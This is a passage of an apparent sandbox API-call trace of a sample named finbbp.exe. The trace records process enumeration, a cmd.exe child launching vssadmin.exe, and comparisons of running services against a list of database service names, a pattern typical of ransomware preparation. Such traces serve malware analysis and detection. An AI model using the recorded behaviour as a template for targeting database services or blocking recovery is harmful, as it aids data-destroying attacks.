(lpString="smss.exe") returned 8 [0255.708] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.708] lstrlenW (lpString="csrss.exe") returned 9 [0255.708] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.708] lstrlenW (lpString="wininit.exe") returned 11 [0255.708] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.709] lstrlenW (lpString="csrss.exe") returned 9 [0255.709] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.709] lstrlenW (lpString="winlogon.exe") returned 12 [0255.709] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.710] lstrlenW (lpString="services.exe") returned 12 [0255.710] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.711] lstrlenW (lpString="lsass.exe") returned 9 [0255.711] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.711] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0255.711] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.712] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0255.712] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.712] lstrlenW (lpString="svchost.exe") returned 11 [0255.712] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.713] lstrlenW (lpString="svchost.exe") returned 11 [0255.713] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.713] lstrlenW (lpString="dwm.exe") returned 7 [0255.713] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.714] lstrlenW (lpString="svchost.exe") returned 11 [0255.714] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.714] lstrlenW (lpString="svchost.exe") returned 11 [0255.714] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.714] lstrlenW (lpString="svchost.exe") returned 11 [0255.714] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.715] lstrlenW (lpString="svchost.exe") returned 11 [0255.715] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.715] lstrlenW (lpString="svchost.exe") returned 11 [0255.715] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.716] lstrlenW (lpString="svchost.exe") returned 11 [0255.716] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.716] lstrlenW (lpString="svchost.exe") returned 11 [0255.716] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.717] lstrlenW (lpString="svchost.exe") returned 11 [0255.717] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.717] lstrlenW (lpString="svchost.exe") returned 11 [0255.717] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.718] lstrlenW (lpString="svchost.exe") returned 11 [0255.718] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.718] lstrlenW (lpString="spoolsv.exe") returned 11 [0255.718] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.719] lstrlenW (lpString="svchost.exe") returned 11 [0255.719] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.719] lstrlenW (lpString="audiodg.exe") returned 11 [0255.719] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.720] lstrlenW (lpString="sihost.exe") returned 10 [0255.720] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.720] lstrlenW (lpString="svchost.exe") returned 11 [0255.720] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.721] lstrlenW (lpString="taskhostw.exe") returned 13 [0255.721] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0255.721] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0255.721] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0255.722] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0255.722] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0255.723] lstrlenW (lpString="Memory Compression") returned 18 [0255.723] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.723] lstrlenW (lpString="explorer.exe") returned 12 [0255.723] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.724] lstrlenW (lpString="SearchUI.exe") returned 12 [0255.724] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.724] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0255.724] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.725] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0255.725] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.726] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0255.726] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0255.727] lstrlenW (lpString="finbbp.exe") returned 10 [0255.727] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0255.727] lstrlenW (lpString="cmd.exe") returned 7 [0255.727] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0255.728] lstrlenW (lpString="conhost.exe") returned 11 [0255.728] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0255.728] lstrlenW (lpString="vssadmin.exe") returned 12 [0255.728] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0255.729] lstrlenW (lpString="consent.exe") returned 11 [0255.729] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.729] lstrlenW (lpString="svchost.exe") returned 11 [0255.730] Process32NextW (in: hSnapshot=0x450, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0255.730] CloseHandle (hObject=0x450) returned 1 [0255.730] Sleep (dwMilliseconds=0x1f4) [0256.322] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa8f8 [0256.632] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0256.637] GetLastError () returned 0xea [0256.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x4207e50 [0256.637] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4207e50, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4207e50, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0256.639] CloseServiceHandle (hSCObject=0x41aa8f8) returned 1 [0256.639] lstrlenW (lpString="Appinfo") returned 7 [0256.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0256.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0256.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0256.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0256.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0256.639] lstrlenW (lpString="AppXSvc") returned 7 [0256.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0256.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0256.639] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0256.639] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0256.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0256.639] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0256.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0256.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0256.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0256.640] lstrlenW (lpString="Audiosrv") returned 8 [0256.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0256.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0256.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0256.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0256.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0256.640] lstrlenW (lpString="BFE") returned 3 [0256.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0256.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0256.640] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0256.640] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0256.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0256.640] lstrlenW (lpString="BITS") returned 4 [0256.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0256.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0256.640] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0256.640] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0256.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0256.640] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0256.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0256.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0256.640] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0256.641] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0256.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0256.641] lstrlenW (lpString="CDPSvc") returned 6 [0256.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0256.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0256.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0256.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0256.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0256.641] lstrlenW (lpString="ClickToRunSvc") returned 13 [0256.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0256.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0256.641] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0256.641] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0256.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0256.641] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0256.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0256.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0256.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0256.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0256.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0256.641] lstrlenW (lpString="CryptSvc") returned 8 [0256.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0256.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0256.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0256.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0256.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0256.641] lstrlenW (lpString="DcomLaunch") returned 10 [0256.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0256.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0256.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0256.642] lstrlenW (lpString="DeviceAssociationService") returned 24 [0256.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0256.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0256.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0256.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0256.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0256.642] lstrlenW (lpString="Dhcp") returned 4 [0256.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0256.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0256.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0256.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0256.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0256.642] lstrlenW (lpString="Dnscache") returned 8 [0256.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0256.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0256.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0256.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0256.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0256.642] lstrlenW (lpString="DPS") returned 3 [0256.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0256.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0256.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0256.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0256.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0256.643] lstrlenW (lpString="DusmSvc") returned 7 [0256.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0256.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0256.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0256.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0256.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0256.643] lstrlenW (lpString="EventLog") returned 8 [0256.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0256.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0256.643] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0256.643] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0256.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0256.643] lstrlenW (lpString="EventSystem") returned 11 [0256.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0256.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0256.643] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0256.643] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0256.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0256.643] lstrlenW (lpString="FontCache") returned 9 [0256.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0256.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0256.644] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0256.644] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0256.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0256.644] lstrlenW (lpString="gpsvc") returned 5 [0256.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0256.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0256.644] 